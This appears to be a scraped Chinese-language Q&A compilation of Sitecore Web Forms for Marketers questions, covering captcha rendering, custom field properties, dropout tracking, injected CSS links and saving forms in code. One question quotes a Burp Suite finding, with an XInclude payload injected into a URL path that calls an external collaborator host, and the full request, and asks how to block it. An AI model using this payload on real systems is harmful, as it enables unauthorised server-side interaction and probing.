我正在使用" Web Forms for Marketers 2.5 rev.141014 ",同时创建一个表单我正在使用Captcha字段,但验证码图像不在前端渲染.
我究竟做错了什么??
我有一个要求,我正在实施sitecore WFFM来创建一个表单.该页面包含带有Placeholder属性的HTML输入标记.我必须将WFFM SingleLineInput框渲染为具有占位符属性的输入标记.我该怎么办?
我知道这个SingleLineText
类是在Sitecore.Form.Web.UI.Controls
dll中定义的.
我们正在使用WFFM来创建目标网页.我们的营销人员很容易使用它.现在,我们正在考虑定制它们.例如,我们有以下要求.
在我们的表格中,我们显示居住国家,但是当您选择一些国家/地区时,我们希望再显示一个state/province
与州相关的下拉列表.当用户选择其他国家/地区时,我们必须隐藏该state/provice
字段.我正在敲打我的脑袋,我该如何开始实施呢.
谁能指导我,怎么办?
在WFFM中有一个选项,以便当有人放弃表单时,表单中输入的任何数据都会被记录下来,并且可以通过Dropout Report访问.
我有一个WFFM,我已经开启了Analytics并打开了dropout功能.不幸的是,我没有看到数据库中记录的任何数据和Dropout报告是可见的,但是空的.
我从WFFM文件夹中包含的javascript代码中看到,一系列AJAX调用应该保存模糊事件的字段 - 调用/ sitecore modules/web/Web Forms for Marketers/Tracking.aspx
我尝试调试Javascript代码,但该方法应该将信息发布到/ sitecore modules/web/Web Forms for Marketers/Tracking.aspx永远不会被调用.你能想到这个代码不起作用的任何原因吗?此外,有谁知道这个信息应该记录在哪个表中?它是WFFM DB中的字段表吗?
最后,即使我已经在这个特定的WFFM表单上启用了分析,并且我已经将一个活动和一个目标与提交表单相关联,但这些都没有被记录下来.我看到表单中输入的数据已成功存储并显示在数据报告中,但没有关于广告系列和目标的信息记录在数据库中.
我甚至直接在运行的DMS DB中手动检查:
select top 10
p.DateTime, p.UrlText, cp.CampaignName
,i.Url, vi.VisitId
from pages p
inner join ItemUrls i on p.ItemId = i.ItemId
inner join Visits vi on vi.VisitId = p.VisitId
inner join GeoIps g on vi.Ip = g.Ip
left join Campaigns cp on cp.CampaignId = vi.CampaignId
order by p.DateTime desc
Run Code Online (Sandbox Code Playgroud)
这个显示正在命中呈现表单的页面,但没有与该访问关联的活动.
然后我尝试了以下内容:
select pe.datetime, ped.Name, pg.UrlText from PageEvents pe
inner join PageEventDefinitions …
Run Code Online (Sandbox Code Playgroud) 我最近在Sitecore项目中使用Web Forms for Marketers(WFFM),我注意到它注入了:
<link href="/sitecore%20modules/shell/Web%20Forms%20for%20Marketers/themes/colors//jquery-ui.custom.Default.css" rel="stylesheet" type="text/css" />
Run Code Online (Sandbox Code Playgroud)
有没有办法禁用链接,以便只有我指定的CSS文件被添加到页面?
在查看了更多WFFM源之后,我注意到不需要的<link />
内容通过Page.Header.Controls
以下方式添加到页面中:
if (page.Header != null)
{
if (!flag)
{
try
{
//possibly added as link, unless an exception is thrown
page.Header.Controls.Add((Control) htmlLink);
linkDictionary.Add(key, key);
continue;
}
catch (Exception ex)
{
//added manually
HtmlTextWriter writer = new HtmlTextWriter((TextWriter) new StringWriter(new StringBuilder()));
htmlLink.RenderControl(writer);
page.ClientScript.RegisterClientScriptBlock(typeof (Page), writer.InnerWriter.ToString(), writer.InnerWriter.ToString());
flag = true;
continue;
}
}
}
Run Code Online (Sandbox Code Playgroud)
这意味着我可以检查所有标题控件并隐藏包含的标题控件"jquery-ui.custom.Default.css"
,但这仍然感觉像是一个脏兮兮的黑客(它是).它也不会在page.Header.Controls.Add
会抛出异常的情况下删除链接.
我想为WFFM表单字段类型添加其他属性.
我想将自己的部分和属性添加到此区域.这可以轻松完成而不会覆盖现有的字段类型或使用核心代码进行黑客攻击吗?
我真的不想重新创建例如单行文本字段,只是为了添加我自己的属性字段.
我如何检查已安装在 Sitecore 8 中的 WFFM 版本。我正在检查数据/包文件夹中的包列表。这是正确的方法吗?
我收到了这个 burp 漏洞报告 - 外部服务交互 (DNS)
XML 被注入到 URL 路径中。我想知道是否有人知道如何防止这种情况。我正在使用 Visual Studio 和 WebForms C# 开发一个 Web 应用程序。
我想也许可以通过 IIS 或 web.config 文件来阻止它,但我不确定。
可以诱导应用程序执行任意域名的服务器端 DNS 查找。有效负载:
<iaz xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="http://o6vsilg7waiopz0impyw3z2cn3twho5ptgl3br0.burpcollaborator.net/foo"/>
</iaz>
Run Code Online (Sandbox Code Playgroud)
...已在 URL 路径文件名中提交。此负载包含一些 XML,其中包含引用外部域上的 URL 的 XInclude 表达式。
应用程序执行了指定域的 DNS 查找,表明 XML 解析器处理了注入的 XInclude 定义。
GET /ViewEmployee/%3ciaz%20xmlns%3axi%3d%22http%3a//www.w3.org/2001/XInclude%22%3e%3cxi%3ainclude%20href%3d%22http%3a//o6vsilg7waiopz0impyw3z2cn3twho5ptgl3br0.burpcollaborator.net/foo%22/%3e%3c/iaz%3e?RequestId=428 HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Connection: close
Run Code Online (Sandbox Code Playgroud) 如何在不使用提交按钮的情况下保存表单(我在页面上有另一个可用于运行保存代码的触发器).表单永远不会显示给用户,我只需要将其保存到营销人员数据库的Web表单中,除非当然有更聪明的方法.
我可以很好地使用它
Sitecore.Forms.Core.Data.FormItem form =
Sitecore.Forms.Core.Data.FormItem.GetForm(formID);
Run Code Online (Sandbox Code Playgroud)
但是,我想
(即类似的东西)
form.Fields["Name"] = "Test name";
// this wont work, I dont know how to access the field's value before I store it.
Run Code Online (Sandbox Code Playgroud)
在我修改了字段后,我当然希望保存它.
我最近将Sitecore从6.6版本升级到8.0版本-4.并开始升级WFFM模块,但我得到了一些与分析相关的错误.因此我计划在Sitecore中安装新的WFFM 8.0模块,同时安装它会抛出错误"无法识别的Guid格式".我已经尝试删除web.config文件中的ItemNameValidation设置.但仍然不适合我.
任何帮助,将不胜感激!!
谢谢,Yogesh